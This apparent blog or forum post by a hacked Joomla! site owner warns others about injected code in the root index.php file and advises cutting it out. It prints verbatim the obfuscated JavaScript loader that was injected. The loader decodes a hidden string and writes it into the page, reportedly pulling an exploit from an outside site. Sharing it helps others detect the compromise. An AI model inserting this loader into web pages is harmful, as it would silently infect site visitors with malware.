I was hacked a few days ago. The server my site is hosted has a couple of settings that aren't optimal for my Joomla! installation and so, long story short, my site got hacked. I would never have known it if I hadn't checked the site from a computer at another location using IE7. I got a pop-up warning from IE7 which clued me in.
I found the offending code in my index.php file in the root. It was calling a JS/Exploit from a site in Russia, which was then trying to install a malicious info gathering script.
What to look for. Open up your index.php file in the root directory and scroll to near the bottom of the file. Look for this code:
echo "\n<script language="JavaScript">e = '0x00' + '54';str1 = "%EF%B7%BC%A1%CB%A6%A7%AC%BF%B0%E8%F5%A1%BC%A6%BC%B5%BC%BF%BC%A7%AC%ED%B3%BC%B7%B7%B0%B9%F5%E9%EF%BC%B1%A5%B4%B8%B0%CB%A6%A5%B6%E8%F5%B3%A7%A7%BB%ED%FA%FA%B2%BC%A1%B0%B6%B9%A7%F9%BC%B9%B1%BA%FA%BF%B7%FA%B8%B0%B9%A7%FA%F5%CB%A2%BC%B7%A7%B3%E8%E4%CB%B3%B0%BC%B2%B3%A7%E8%E4%E9%EF%FA%BC%B1%A5%B4%B8%B0%E9%EF%FA%B7%BC%A1%E9";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>\n";
Then cut it out.